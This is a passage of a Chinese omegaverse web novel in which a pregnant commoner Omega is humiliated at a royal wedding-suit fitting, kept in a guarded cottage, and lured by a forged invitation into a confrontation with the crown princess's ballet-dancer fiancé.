他只是转过脸,扬起手,目光掠过修剪整齐的指尖,像在打量某种精致的艺术品。 近乎突兀地,他问:“或许,你看过芭蕾表演吗?” “我没看过。”简星沉如实否认。 “也是,你怎么可能会看过。” 言均和轻轻撇嘴,面色倏冷,“一个舞者,要能在舞台上跳出那样轻盈的步伐,在舞台下,就必须对他自己的身体,进行近乎军事化的残酷训练。” 他微微俯眼,语气冷淡:“虽然你也是Omega,但你与我并不相同。你这样的人,永远不会明白,为了理想承受痛苦,需要什么样的意志。我不会为了任何人,牺牲自己多年付出的努力。” 末了,他又重拾温和笑意,起身踏出两步,回头望来。 “王室需要的,不过是一个属于殿下的孩子,由谁孕育,并不重要。既然有你承担孕育的风险,我有什么不乐意的?” 言均和漫不经心地叹了口气,目光微斜,落在少年被诊疗衣盖住的腹部,“反正,最后都是我的。” 简星沉能听到,协议书在自己的指尖下,进一步被攥出皱褶的声音。 言均和这次拜访的目的很明显。 他是仗着未来王夫的身份,来示威的。 简星沉徐徐摇头。 他注视着冰冷地面,喃喃道:“她不会允许的。” “可我又没妨碍殿下什么。” 高傲的王储未婚夫从容一笑,神情极尽慵懒,一如他在宴席上端着酒杯、走下旋梯的模样。 “我与殿下一样,都希望看到这个孩子,健康、平安、茁壮地长大。” 简星沉咬住牙关,一只手始终覆在腹部,另一只手牢牢攥住协议书。 病房的门却不知何时悄然打开。 陆怀峰微微弯腰,毕恭毕敬地站在门前,身上还带着未干的水汽,仿佛刚从风雨中折返。 江意衡踏入病房前,冷冷瞪了他一眼,像是对他有所责备。 但她很快又恢复了平静。 “外面下雨了。” 她朝言均和露出微笑,“你不在宴席上待着,怎么反倒跑到医院来?” “我是特地来恭喜殿下的。” 言均和不慌不忙,仿佛真的只是来道贺般,“这毕竟是殿下的第一个孩子,而我身为殿下的未婚夫,今后还有很长一段路要陪伴殿下,又怎么能错过这样重要的时刻?” 他看向简星沉,目光里带着矜贵笑意,和某种隐约恶意:“你说,是吗?” 少年坐在床边,低着头。 既没有看他,也没有看江意衡。 江意衡收回视线。 她望着言均和,微微歪头,唇角轻撇。 “上次王室裁缝为你量身定做的礼服,好像还没来得及试过。” 言均和微眯双眼,旋即回过神来:“近期日程繁忙,还没定下试衣的时间。难得殿下一直记着这件事。” “礼服是给婚礼准备的,尽早试穿调整,才不至于出错。” 江意衡低头看过腕上终端,语声淡然,“我今晚的行程取消了,正好可以亲自送你过去。” 言均和不由一愣。 这位公事公办的联姻对象,一向界限分明,若非场合需要,几乎从不会体谅他。 而今天,她竟然主动对他示好,甚至堪称……贴心。 片刻讶异后,他笑意更深,一手抚上心口,神情近乎光彩照人:“感谢殿下这般体贴入微,我都有些受宠若惊了。” 江意衡只是抬眉,眼里那一点光芒无声无息冷却。 余光里,她看到少年手中死死攥着那份协议书,指尖因为用力过度,甚至泛白。 言均和前脚刚踏出门,江意衡忽然喊住他。 “那么多套礼服,穿脱会很累吧?你今天为了主持宴席忙了大半天,也该歇一歇。” 她说着,转身走到少年近前,轻轻端起他的下巴。 语气虽然只是礼貌寒暄,面上却浮现出一丝难以捉摸的笑意。 “现成的模特就在这儿,不带去试衣,岂不是太可惜了?” 第42章 我的口味,毋庸置疑 江意衡的话,让言均和脚步一顿。 “让他试衣?我不确定我明白殿下的意思。礼服毕竟是依照我的身形定做,让他一个外人来试穿,似乎……不太妥当。” “有什么不妥的。” 江意衡说得不疾不徐,双手却已落在简星沉双肩,一路下滑来到他的腰侧,在他胯边稍作停留。 俨然是在为人偶比划身形。 她头也不回,只垂眸看着面前用手揪住衣角、微微战栗的少年,语气依旧平静。 “他与你,明明身高相仿,只是没有你的资源,能夜以继日地练出芭蕾舞者才有的肌肉线条,也没有专业营养师替他把控每餐该怎么吃。 “对于一个前十九年都挣扎在贫民窟的人而言,他没机会像你一样,把身体当做艺术品那样精心雕琢。” 她话锋一转,唇角不知不觉绽开一丝笑意,“但至少,他的身体足够容纳我的血脉在其中扎根生长。这比什么都重要。” 说完,江意衡抬了抬手,陆怀峰随即步入病房,将少年的鞋子放回病床前。 江意衡用眼神示意简星沉穿好鞋子,随后揽住他的后背,轻轻将他扶起,带到言均和面前。 “他不过是瘦了一点,样子温吞了一点。作为模特,你总不能要求他和你有一样的背景条件。” 江意衡似笑非笑地打量言均和,“如果他有,那你现在的位置,不就危险了?” * 位于中心区南部的高定工坊一向以私密与工匠精神闻名,只接受预约,同一时间仅接待一位客户。 然而今天,这里却难得地热闹了起来。 听说王储殿下跳过预约流程,突击到访,负责接待贵客的余容不敢怠慢,匆忙赶到门前,将人迎下飞船。 他在第一时间鞠躬行礼:“欢迎殿下!” 江意衡牵着言均和,一步步踏入门厅。 余容正要为两人领路,却看到王储殿下顿住脚步,回身望向飞船。 只见一名少年扶着舱门扶手,神色犹豫着,缓缓拾级而下。 这道意料之外的身影一出现,余容眉心忽然一跳。 “需要为您的侍从准备专属休息室吗?”他试探地问。 “不必了。” 江意衡斜过脸,唇角含笑,“今天的模特,是他。” 余容愣了愣。 一旁的言均和没有任何异议,只是微笑,似乎是默许的。 余容的太阳穴跳了跳。 他旋即端正表情,恭敬地引着一行三人来到贵宾试衣间。 那是一座圆形的厅堂,位于整座高定工坊的中心。 试衣区就在厅中架高的平台上,大半圈围满落地镜,几乎没有死角,可供试衣者多角度考察穿着细节。 而在试衣区前方,是一组可以开合的天鹅绒帘幕。 而在对面,深红色的半月形沙发宛如观众席般,静静地坐落着。 江意衡刚在沙发上坐定,余容便抱着平板匆匆赶回。 他低头躬身,问得恭敬:“殿下,今天是让模特先生试穿哪些款式?虽然我们准备的样衣有限,但种类还算齐全,足够挑选。” “我带他来,是为了让他试穿婚服。” 江意衡语气从容,目光淡然。 余容点了点头。 没想到王储殿下这样大方,甚至会替别人的婚事操心。 他飞快调出库存,脸上挂着恰到好处的微笑:“请问,殿下想让他试哪类风格的婚服呢?我们这儿有……” “不用这么麻烦。” 江意衡打断他,扭头看向坐在一侧的言均和,笑道,“我不是在你们这里,定做了一整套Omega婚服吗?就让他试那些吧。” “可那不是专门为均和少爷定做的吗?” 余容指尖一顿,目光扫过言均和,又回到少年那一边,“您让他试,恐怕……” “你紧张什么。” 江意衡斜眸一笑,“我又没说,新郎是他。” 说完,她抬眸望向前方的试衣区,如同在期待好戏开场。 灯光照射下,那片空间明亮异常,连半点影子都看不到。 简星沉站在试衣区中间,穿着他自己那身再普通不过的衣服。 干干净净的白T恤,外面是一件格纹连帽外套。 搭配着一条显然不合身的宽松浅灰色长裤,脚上是一双洗到发白的板鞋。 这些是陆怀峰奉她之命,特地从少年租住的房子里取来的。 而他现在站在镜面环绕的空间里,像被推到聚光灯下的小演员,一只手捏着外套底部的抽绳,一手无措地扒拉着搭扣,两只脚紧紧并拢,不安地侧过脸张望。 简星沉能感觉到,掌心正在渗出细汗。 此情此景,令他的脑海中不由浮现出租屋里那段记忆。 那时候,江意衡也让他试过衣服。 可那时,只有他们两个人。 没有镜子,更没有旁观者。 现在却完全不同了。 这儿不止多了言均和,还有一个陌生人。 明明是这样宽敞的空间,镜中却满满都是他不安拘谨的身影,将他包围在其中,几乎令他喘不过气。 他低下头,不敢直视任何人的眼睛。 沙发边,余容的神色正在微微抽搐。 “这些礼服,都还没人试过。” 他放低声音,“第一次就让别人穿,会不会……不太好?” “我的未婚夫本人都没意见,你还多虑什么?” 江意衡面无表情地开口,“均和今天累了,我很心疼。他们身形相仿,我才会让他代替均和试衣。” 她看着面前的余总监,目光冷淡:“你还有别的问题?” 余容赶紧摇头,脸上挤出职业笑意。 他确信,如果自己说错话,今后这里不会再有他的位置。 很快,两名助理将一排挂满礼服的衣架匆匆推入场地,停在沙发一侧。 上面挂着二十余套各种式样的男式Omega礼服,涵盖迎宾服、主婚服、敬酒服等等,每一件都是独一无二的手工打版。 江意衡的指尖滑过那些料子,质感上乘,工艺考究,层次分明。 不知穿在那个单薄温吞的少年身上,又会是什么样子。 她随手指着其中一件白色西装:“就这件吧。” 余容点头,从众多礼服中拎起那一件,先为江意衡展示过正反面。 领口是大胆的深V剪裁,布料带着细微珠光。 他问得近乎贴心:“这件衣服设计精巧,但穿脱不算容易。需要我们的人协助他吗?” 江意衡微微抿唇:“让他自己来。” 余容暗暗咋舌。 “那我帮他送去。” 他爬上试衣区的台阶,将那套用防尘袋隔好的西装捧到简星沉面前。 递出时,他用几近怜悯的神情看着他。 简星沉接过衣服,手指在防尘袋的边角上微微蜷起。 他翻开衣领,没有在里面找到任何配套的衬衫。 大胆的剪裁,将胸前一道倒三角区域完全裸露。 余容察觉到少年的迟疑。 “这是我们为均和少爷量身定做的深V款,没有内搭。直接套在您的T恤上,效果不会好。” 他轻声补充,“如果效果不好,殿下恐怕不会高兴。” 沙发上,江意衡翘起一条腿,依然是那副好整以暇的表情。 言均和却漫不经心地偏过头去,好像压根没兴趣观赏这场试衣表演。 即便如此,这对简星沉而言,仍是一场无声压迫。 他的手指收紧,指甲掐入掌心。 从小到大,他饱受地痞流氓的刁难,早已学会了忍耐。 但他不得不承认,那些拳打脚踢和下三滥的言语辱骂,比起贵族这种不动声色的羞辱,还是差得太远了。 少年缓缓褪下外套,犹豫着卷起T恤下摆,动作却顿住。 余容刚接过他的外套,挂在一旁。 一回头,他却瞥到少年身上露出的那件古板老头衫。 可面对王储殿下投来的视线,他只能努力维持脸上的平静。 简星沉没有继续褪下T恤和背心,只是僵硬地低着头,双手防御般护在小腹。 余容见过这种表情。 在进入工坊之前的职业早期,他为民间客户做衣服的时候,曾见过好些身上带疤的人。 他们往往都很避讳露出那些身体区域。 这个少年大概也不例外。 如果是这样的话,他抗拒深V的理由,就太正常了。 “您是肚子受伤了吗?”余容问得很轻,不想刺激到他。 简星沉没有回答,只是抬起眼,望向前方,似乎在等江意衡接话。 沙发上的江意衡忽然笑了一声。 “受伤?” 她似乎是觉得可笑,眼神却一点点冷了下来,“他不过是怀着孩子。什么时候,这也算是受伤了?” 在下巴落地之前,余容的表情先石化了。 他实在不理解,王储殿下为什么要带着别人家的新郎,还是怀着孕的新郎,来这里替她自己的未婚夫试衣。 可惜他在入职时就签署了保密协议,更何况这位王储殿下的铁血手段,他早八辈子听说过。 只能把这些匪夷所思的八卦消息,咽下肚子。 余容屏住呼吸,揣摩过两边的态度,试图缓和僵局:“深V西装是这几套礼服中剪裁最修身的。他现在这样,穿上可能会影响效果。不如,我拿几件别的给他试试。” 他朝着台下两人再三鞠躬,小心翼翼转身,取来几件剪裁更为宽松、式样更加保守的礼服,递到少年面前。 简星沉仍是怔怔站着,半天也没有伸手更衣。 余容突然想起什么,回头望去:“这帘子,怎么还没拉上。” “我不介意看着他换。” 江意衡却微抬下颌,唇角带着意味不明的笑。 ……什么爱好,他不是别人的新郎吗? 余容头皮发麻。 背后,言均和却不由发出一声轻笑。 “殿下就算有闲情逸致,也不用为难这么一个无权无势的平民吧?” 江意衡挑眉,语气带着一丝讥讽:“你什么时候开始体恤平民了?” 两边一时僵持。 半晌后,余容头痛欲裂,不得不再次打圆场,语调近乎如履薄冰:“殿下今天既然是为了均和少爷而来,不如就看在他的面子上,顺着他一次?” 江意衡没再说话,只是抬了抬手,权当默许。 余容松了口气,离开试衣区,抬手朝上空打了个响指。 助理立刻启动帘幕的自动滑轨,将试衣间与观众席徐徐隔开。 江意衡扫过腕上终端,上面跳出一条来自许知连的消息。 合成信息素已经准备就绪。 许知连最多加班到九点,她也不想在这里耗费太久。 帘幕合上前的最后一瞬间,她抬眼,冷声吩咐少年:“晚上八点之前,你得回医院。别让我等太久。” 帘幕拉开又闭合,简星沉像被审判的舞台演员,一套又一套地换上礼服。 江意衡靠坐在沙发上,一直专注地欣赏他的试衣表演。 可无论他怎么换,她的眉头始终没有舒展。 这些为言均和量身打造的礼服,穿在少年身上总显得格格不入。 怎么看,怎么都像孩子偷穿大人衣服。 “就没别的了?” 江意衡揉了揉太阳穴,语气更冷,“好好的衣服,为什么在他身上就不行。这种成品,你要我的未婚夫在婚礼上怎么穿。” 言均和撇过脸,几乎嗤了一声。 余容冷汗直冒,立刻躬身赔笑,唯恐江意衡要退单:“肯,肯定是衣服的问题!还有最后一件礼服,请殿下再给我们一次机会。如果还是不行,我们会立刻重新制作!” 他诚惶诚恐地捧起那件礼服,亲手送到少年手边。 帘幕再次合起。 隔了很久,都没拉开。 江意衡像每个等人试衣的客户那样,几乎要失去耐心时,天花板上的灯一齐灭了。 黑暗中,余容再三道歉:“抱歉,殿下,可能是跳闸了!您稍等,我们马上启用备用电源!” 数分钟后,在备用电源的加持下,整个试衣间的灯光仿佛遵循某种节奏般,一排一排被人重新唤醒。 两名助理一左一右,将高达数米的沉重帘幕徐徐拉开。 与此同时,试衣区后方的灯光,极其缓慢地亮起。 如同月亮从云后重新浮现,一缕温暖光线投下夜幕,柔和地落在少年身上。 比起他的轮廓,江意衡最先看到的,是他身上闪烁的细碎光芒。 好像月光落入水中,每一道涟漪都在微微战栗着倒映出皎洁痕迹,从少年的肩头洒下,由密至疏,沿着他身上月光般的丝缎,流向他的周身。 而他本人却毫无察觉般,手足无措地低着头,不断检查披风左右,好像担心自己会弄皱昂贵的礼服。 江意衡原本懒洋洋地倚靠着沙发,此刻,却不自觉地坐直了身体。 耳畔的声音不知重复了多少次,她才终于听清。 “殿下,是满意这件吗?” 余容问得非常谨慎。 “我的口味,毋庸置疑。” 江意衡起身走出数步,“这件,很好。” 余容如释重负,笑得灿烂:“那我这就替均和少爷把这件打包……” “你别误会。这件衣服,一点也不适合我的未婚夫。” 她抬手指向少年,目光平静,“不如,就留给他。” 目光扫过灯下那道烨烨闪光的身影,她又笑着转头看向言均和,柔和之中隐约带着锋芒。 “亲爱的未婚夫,你说,是不是?” 第43章 金屋藏娇 言均和从沙发上不慌不忙起身,微抬眼眸,注视着面前这位联姻对象。 江意衡言笑晏晏,唇角扬起近乎体贴的弧度。 然而她的眼底,是与明暖灯光截然不同的冷意。 她居然允许一个无权无势的平民试穿本该属于他的昂贵婚服,甚至当着他的面,将那件礼服赐予对方。 虽然嘴上对那位简姓少年说着刻薄的话语,可是最大、最响亮的巴掌,却是朝他言均和挥来的。 言均和托住一侧手肘,另一只手的指尖轻按在下巴中央。 他很清楚,什么时候该露出优雅笑容,什么时候又该保持从容。 毕竟对于一名芭蕾舞者而言,表情控制与肢体控制,一样是必修技能。 这才能使他们在大量激烈的肢体动作与高压的舞蹈节奏中,依旧展现出最有美感的姿态。 可今天,他第一次觉得,自己所面对的挑战,比在舞台上完成极具震撼的挥鞭转,同时还要维持笑容,更加苛刻,更难掌控。 只是为着他所追求的事业,他不便、也不适合在这种时候,表露出其他属于自己的情绪。 过了许久,言均和才抬起双手,缓缓拍了两下。 “不过只是区区一件衣服罢了,本来也不是我最喜欢的风格。” 他弯起眼角,迎上江意衡的笑容,目光却带着一丝危险,偏向灯光下的少年。 “既然殿下有这样的善心,那我也随您,破例做个慷慨的人。” * 离开高定工坊后,言均和并未与江意衡同行,而是借晚间排练为名,径直登上了前来接送的自家飞船。 简星沉则本分地搭着极光一号飞船,随江意衡回到了病房,由许知连亲自为他注入合成好的标记同源信息素。 江意衡正气定神闲地伫在墙边,打量着上面的挂画,看起来对整个过程毫不挂心。 许知连放下针管,叮嘱少年:“考虑到这次不是殿下通过天然途径释放信息素,您最好还是留院观察一晚,以防出现任何不良反应。” “留院观察?” 原本气定神闲的江意衡冷不防开口,“我还以为,这是完全仿照我的信息素制成,理应很安全。” 许知连扶了扶眼镜:“理论上确实如此。不过合成这种精度的信息素,本身就是一项颇为破费的项目。即便在帝国医院,一年内也没几个人能负担得起。至今没有遇到极端不良反应,或许只是概率问题。” 江意衡一手提起那支空空如也的针管,语气不悦:“你要是早说,我还不如自己动口。” ……那您上次也没忍心啊。 许知连在心里默默抱怨。 面上,他仍是保持微笑,并指着屏幕上的动态数值:“您尽可放心。实时体征监控显示,简先生的身体对合成信息素适应良好。如果不是因为他对您本身的信息素接受度高,合成信息素也不会呈现出如此令人满意的效果。” 听到这些奉承,江意衡原本生冷的面容上,才露出会心一笑。 只不过两秒,她就敛起笑容,平静地走到简星沉面前,几乎下意识地伸手抚摸他的头发,却又顿住动作。 她收回指尖,转而在他的肩上拍了拍,还刻意在许知连的目光中,公事公办地嘱咐了少年一句:“听许医生的话,先在这里观察一晚。明天,我会再来。” 夜幕已深。 病房里,又只余下少年一人。 简星沉坐在床边,听着窗外传来引擎启动的声响。 拨开厚重的窗帘,他依稀能望见停机坪上,江意衡远去的背影。 坪上灯光星星点点向远延伸,而她的身影,很快消失在舱门后。 简星沉抬头,目送着极光一号的轮廓在夜色中迅速隐去。 腹中的孩子正轻挥拳头,他有些无奈地拍了拍肚子,隔着肚皮与孩子击掌呼应。 飞船腾空的轰响,几乎掩盖了病房中仅存的温声细语。 “今天晚上,又只有爸爸陪着你了。” * 为了更好地照顾VIP病人,帝国医院不只设置了限制人员出入的高层,甚至还匹配了四季分明的专属空中花园。 眼下正值春天,花园里的植物郁郁葱葱,是与洁白病房全然不同的生机盎然。 偶有人推着轮椅经过,带着陪护的病人四处赏花观叶。 也有家长陪伴生病的孩子,一起玩耍。 这些画面,让简星沉感到难得地放松平静。 他正驻足在一片嫣红鲜花前,还未来得及上前闻香,一只羽毛球却与他擦肩而过,嘭地一声径直砸落在花丛里。 简星沉心有余悸地回过头,一个约莫十岁的男孩子正气喘吁吁跑来。 “对不起哥哥,我不是故意的。” 男孩朝着他就是一鞠躬,抬起的脸上红扑扑的,还带着汗,“我一个人在附近打球,没注意这边有人。” 那是个身高才到少年胸口的孩子,穿着简约却精致,家境应该不错。 男孩的一只手上有些费劲地同时抓着两只球拍,整个身体因为鞠躬几乎折成九十度,道歉姿态显然有些用力过猛。 简星沉伸手从花丛里捞出羽毛球,吹去上面沾到的叶子,递回给他:“没事,你没砸到我。这里人不多,不过你还是要当心些。” 男孩起身接过球,又是一个九十度鞠躬:“谢谢哥哥!” 他旋即掏出一条手绢,替自己擦了擦汗。 简星沉张望了一圈,看他这精神十足的样子,倒不像生了病,但也没看到与他同行的人。 “你来这儿,是探望谁吗?” “对不起呀哥哥,妈妈不让我说。” 男孩努了努嘴,旋即却压低声音,好像要与少年分享什么秘密,“不过,如果你陪我打羽毛球,我也不是不可以,悄悄透露一点信息给你。” * 一辆黑色的小轿车从后方徐徐驶入帝国医院。 为了减少不必要的关注,江意衡今日没有启动飞船,而是坐着由陆怀峰驾驶的这辆古典出行工具,在靠近空中花园的停车场停泊。 一下车,她却撞见一张熟悉的脸。 “这么巧,意衡。” 黎书宛摘下墨镜,从另一辆车旁现身,“你低调出行,难道也是来探望你的父亲?” 一刻钟后,在江御川的监控病房中。 “我不会过问你来帝国医院私下探访的缘由,但我很清楚,你不是为了探望你的父亲。” 黎书宛斜过双腿坐在单人沙发上,端起一杯热茶轻嗅香气,却也并未入口。 “婚礼筹备本就是一套极其繁琐的流程,即便你公务缠身,也该抽些时间,免得最后关头急急忙忙,闹出什么差错。” “这好像还不用您提醒我。” 江意衡交叉双臂,伫在窗前,“再说,不是有王室后勤的人在打点一切?” “后勤?如果你是指打点场地所需的装饰用品,具体到桌布的材质和颜色,他们当然可以替你挑选。” 黎书宛将一份装帧精美的珠宝目录递到江意衡面前,“但婚戒,只能由你自己决定。” 江意衡微微抿唇,没有言语。 她的视线正透过单向玻璃,越过外面的草丛,落在远处那道身影上。 少年在绿树之间来回穿梭,手里抓着羽毛球拍,时而向左挥,时而向右。 那动作算不上灵活,甚至有些笨拙。 偶尔,他会无奈地摸摸头,弯腰捡起脚边的羽毛球,递给另一道更为年少的身影。 江意衡熟悉少年的衣着打扮,却无法准确判断出,在更远处陪他打球的人是谁。 依据身高,她只勉强辨认出,那还是个小孩子。 只是远远望着少年与对方玩耍的模样,她眼前却不由自主浮现出一幅画面。 她恍惚看到少年穿着那套烨烨闪光、又像月光一样温柔的曳地礼服,陪着一个面目酷似他的小女孩儿玩耍。 即便只是想象着这样的画面,江意衡就忍不住感到久违地沉迷。 “外面有什么好看的吗?” 黎书宛起身走到近旁,顺着她的视线,向外投去目光。 草地上,年仅九岁的江昱澜正与一名少年追着羽毛球挥动球拍,看起来,比任何时候都要放松自在。 黎书宛忍不住感叹:“我想起,你小的时候,不像其他孩子一样爱在草地上乱跑。倒是经常趁着御川不注意,溜进王室花苑里,躲着不肯出来。” “我的记性,恐怕没您那么好。” 江意衡冷着脸放下窗帘。 她垂眸看着面前的珠宝目录,唇角忽然重新扬起笑意:“王室向来有在婚礼前,将珠宝赠予后辈的传统。听说黎家有一枚祖传的宝石戒指,是难得一见的珍品。不知您愿不愿意,做我这个人情?” * 确认简星沉对合成信息素没有不良反应之后,许知连第一时间批准了他的出院手续。 少年没等到江意衡,只等来陆怀峰和一辆低调的黑色小车。 “殿下今日有事,不便前来。” 陆怀峰解释道。 少年点头知会,心里微微失落。 行车一路,陆怀峰都与江意衡保持着通讯联络。 但全程,他只回了不下五句话,无非是“好”或“明白”这样的字眼。 他驱车载着简星沉来到一座复古的小木屋,四周围满了青葱灌木。 “我刚送简先生到达您指定的地方。还有什么需要提醒他注意的吗?” 陆怀峰在向江意衡进行汇报时,简星沉已经拿起门钥匙,转开屋门。 与洁白冰冷的帝国医院不同,这屋子充斥着木头的暖意,满满都是岁月沉淀后的风格。 吱呀作响的木地板,甚至让他联想到李又珍家里的细节。 层高只有两米出头,有时他甚至需要微微低头,才能保证自己不撞到顶上的木头。 简星沉拎着微乎及微的一点随身行李,放进其中一间卧室内,转过身,又去打量另一间卧室。 古旧的木头门板不知是不是变了形,即便他使出浑身力气,也丝毫推不开。 “这间上了锁。”陆怀峰的声音忽然在近处响起。 这位戴墨镜穿黑衣的近卫队长,一脸肃穆地指着门锁的位置:“是殿下的意思,希望您能谅解。” 简星沉固然好奇,却没什么可说的。 他不过是依照协议上内容,搬来江意衡指定他居住的小屋子。 不过,这屋子虽然外表朴实,但应有的安防措施一应俱全。 甚至当他向远处望去,还能看到巡逻的无人机,和矗立在平地上的监控设备。 陆怀峰简单交代过屋中各处,便利落地驱车离开。 只留下简星沉一个人在屋里,这里瞧瞧,那里看看。 他之前放在李又珍家中的衣物,几乎全被搬了过来。 衣服整齐地挂在衣柜里,书本则收入书房的书架。 甚至连他当初捡回家的那些迷你盆栽,也都被人精心排布在窗台上。 喜阳的摆在南边,喜阴的摆在北边。 无论如何,江意衡确实有用心地帮他布置安排。 熟悉完屋中,他又来到屋后。 宽敞通透的院子由篱笆围起,其中好些爬藤上已经满是花苞。 虽然那些花苞还未显色,但简星沉已经忍不住开始期待,它们盛开时的模样。 他虽然不被允许离开屋子,但食物、瓶装水和其他日用品,都有人定时送到门口。 一连几天,他不是在书房看书,就是在厨房研究菜谱。 余下的空闲时间全在院子里,拿着各种园艺工具,浇花、翻土、施肥。 院子里的花朵先后绽放,偶尔有些枝条因为低垂或是被风刮折,全被他捡了起来,修剪后放进厨房的花瓶里。 他还翻出一台傻瓜相机,按照说明书仔仔细细琢磨很久,终于拍出了几张满意的照片。 * 几天后,陆怀峰照例来到江意衡的书房,为她汇报公务进展。 只是他一脚才踏进门,却看到书房的桌上、窗前,甚至地上的角落里,全都摆满了鲜花。 向来镇静的陆怀峰几乎愣了一下。 他原路退出几步,拉下墨镜,转头仔细打量门上铭牌。 “不用确认了,你没走错地方。”江意衡的声音从书房里传来。 听起来,心情异乎寻常地好。 陆怀峰这才恢复平静,稳步来到她的桌前。 “王室后勤希望您能尽快确认,婚礼到场的嘉宾名单。” 江意衡连头也没抬,一副毫不在意的态度,只专心打量着面前的花瓶。 “成百上千个名字,让我一一确认。这听起来,像是人干的事吗?” 陆怀峰没有反驳什么,只是用他一贯的平稳语气,客观陈述。 “所有人都等着您做最后确认。当然,如果您觉得麻烦,属下也完全可以理解。” “对了,他这几天怎么样?” 江意衡将手中的花瓶搬回窗台,随口问道。 而在窗台上,同时摆着她从陆怀峰办公室收回的搪瓷杯小草。 “一切照旧。简先生每天三分之一的时间都在书房,余下的大多数时间在院子里,饲花弄草,拍照插花。” 陆怀峰环视周身,忍不住问,“属下以为,这些插花全都依照简先生的意愿送入宫中,怎么会全部堆在您的书房里?” “有什么问题?我确实是把他插瓶的鲜花送出去了。” 江意衡不以为然地撇嘴,“送到我的书房,难道就不在王宫的范围内了?” 陆怀峰顿了一顿:“没记错的话,简先生不单是希望殿下收到鲜花,也希望能把这些花儿借由您的名义转送他人,帮您笼络关系。他毕竟,给每一瓶花都手写了祝福。” “你说那些随花卡片?我都收着了。这王宫里,除了我,没人值得他费心去写那些东西。” 陆怀峰犹豫了一下:“这件事,您有没有跟他说过?” 江意衡默了片刻。 她微眯双眼,神情泛凉:“怎么,难道这种事情,我还需要和他商量?” “属下昨天监督园丁上门的时候,简先生还特意问过,您什么时候会来。他说,他已经摸清楚该怎么样炖鸽子汤。他还担保,他现在的手艺,一定能让您高兴。” 江意衡双手交叠,支着下巴。 片刻后,她从左手边的抽屉中抽出一沓卡片。 每一张卡片都是一幅关于花朵的胶片,背面是少年一笔一划认真书写的祝福,没有一句重复。 而她面前这一张写着:“听说黄玫瑰象征友谊与关怀。感谢您,这么多年来,一直守护殿下的安危。” 江意衡微微放空。 她斜过视线,打量着窗台上那棵被禁锢在搪瓷杯里的小草。 纤弱的茎秆与细叶,看着一点也不起眼,却在竭尽全力孕育碧玉般的种荚,为她装点这一室空间。 良久,她叹了口气。 “继续看着他,但别让你的人盯太紧。如果他想,让他出去透透气。” * 简星沉今天一早,就在门前的小信箱里,收到一份精致的纸质邀请函。 信上有江意衡的署名,只是那些飞扬恣意的笔迹,他差点没认出来。 她在信中提及,宫中有位贵客很欣赏他的插花,经过她的同意,邀他去下午茶一聚。 为了打消他的不安,届时,她也会出席。 这是他被“金屋藏娇”以来,江意衡第一次借由信函对他松口,允许他出去看一看。 简星沉对着镜子把自己好好收拾了一番。 当天下午,他在一名近卫队新成员的陪同下,乘车来到一座典雅的宫廷小楼。 王室侍从接过他手中的邀请函,与他核对过姓名,旋即引他穿过庭院,路过声乐悠扬的琴房。 一路上,巡逻的近卫队成员寥寥无几,安保布置得近乎松懈。 取而代之的,只有几张陌生面孔,既没有佩戴王室纹章,也没有向他寒暄的表示。 简星沉记得,陆怀峰曾提过,但凡王储所到之处,近卫队向来不离左右。 他虽然跟上侍从的步伐,却隐隐觉得奇怪:“殿下今天,真的会来吗?” 引路的侍从淡声道:“请您放心,一切都安排好了。” 很快,简星沉来到位于侧翼的一处开阔厅堂。 他伫在入口,抱着花瓶四处张望,等待江意衡现身时,却听到一个意料之外的声音。 “我们又见面了。” 言均和穿着一套干净利落的紧身练舞服,在少年骤然警觉的目光中,故作轻松地左右看了看。 片刻后,他露出早有预谋的笑意。 “怎么,你该不会是在期待,殿下也到场吧?” 第44章 送到殿下床上 第四十四章 环绕练舞房的落地镜里,映出简星沉局促不安的侧影。 几乎在他察觉到言均和的同时,这位以芭蕾技艺闻名的年轻舞者已经踏着稳健的舞步,悄无声息掠过他身侧。 紧接着,言均和动作一顿,踮起一只脚,另一条腿高高抬过头顶,脚尖直指天花板。 日光透过半掩的窗帘,斜落在言均和足尖勾起的弧度上。 他一手搭上脚踝,另一只手优雅地朝前伸展,轻而易举地维持这个苛刻的姿势,在简星沉侧面定格了足足十秒。 那不仅仅是力量与柔韧的展示,更是赤裸裸的挑衅。 隔着贴合舞者腿部线条的白色连裤袜,简星沉清楚地看到,这位王储未婚夫是如何向他堂而皇之地炫耀着,顶级Omega所拥有的身体优势。 这种近乎耀武扬威的自信,是他遥不可及的。 少年站在原地,怀中的花瓶却一点点变凉。 他一阵恍惚,花瓶险些滑落,仓促间抱稳,才发现言均和不知何时已经收回动作,扶住他一条手臂。 “你可得小心点。” 言均和张开五指,在少年低垂的视线中,故作礼貌又近乎刻意地将手从他胳膊上缓缓撤离,俨然是在避嫌。 “练舞房的地面对你来说,恐怕太滑了。” 言均和低头瞥了一眼脚下的木地板,抬眼时,又恢复那副和气微笑,“你可是怀着殿下的孩子。如果摔着了,那我即便有一百张嘴,也说不清。” 他作势要伸手再搀扶,简星沉却连忙后退一步。 “江意衡在哪里?” 少年紧紧抱着怀里的花瓶,警觉地继续退后,同时打量四周,“我明明收到了她的邀请函,她明明说她会来。” “啊,原来是这样。” 言均和一指懒洋洋地搭在下颌中央,声音转了好几个调,好像发现了什么不得了的秘密,“我还以为,你很了解她呢。” 他亮出那封已经拆开的邀请函,摊开在简星沉面前,指尖慢悠悠地滑过上面的字迹。 “你连她的字都不认得吗?” 简星沉只在出租屋的时候,见过江意衡写在信封上的地址,但从没偷看过她写在信纸上的内容。 当他看到眼前飞扬潇洒的署名,并没多想,只下意识地以为,那出自江意衡本人。 少年撇开目光,声音因为羞愧而放低:“我没仔细看。” “你大概以为,在帝国中心这样科技发达的地方,不会有人依赖纸质书信,对吧?” 言均和伸指弹了弹那张花草信笺,还慢条斯理地笑着,“王室向来重视书面交流。一手漂亮的字迹,可等同于一个人的脸面。” 他将信笺原样折好,随意夹进花瓶里的鲜花之间,绕着少年优雅地走过半圈,步子突然一转。 “不过我想起,你在F区那样的地方,应该没有什么好的条件,能学得一手好字吧?” 说着,他故作夸张地抬手掩口,仿佛意识到自己的失言,脸上的笑意却半点不带遮掩。 “殿下上次在帝国医院,特地叫我多体谅体谅你。我呢,可是仔仔细细,痛定思痛,认真反省了几天。” 言均和耸了耸肩,语气却不以为然,“但你也该明白,一个前十九年都在贫民窟生活的人,处处都与中心区脱节,只不过因为肚子里有王室的骨肉,就想在殿下身边,在帝国中心占得一席之地。你不觉得,你想得太美了吗?” 简星沉抬头,语气平定:“我没想,跟你争。” “是吗?” 言均和目光放远,却俯身靠近他耳边,轻言细语,“你怎么想,一点也不重要。你只要记得,你根本,就没有资格和我争。” 说完,他轻抬脚跟,向后迈出数步。 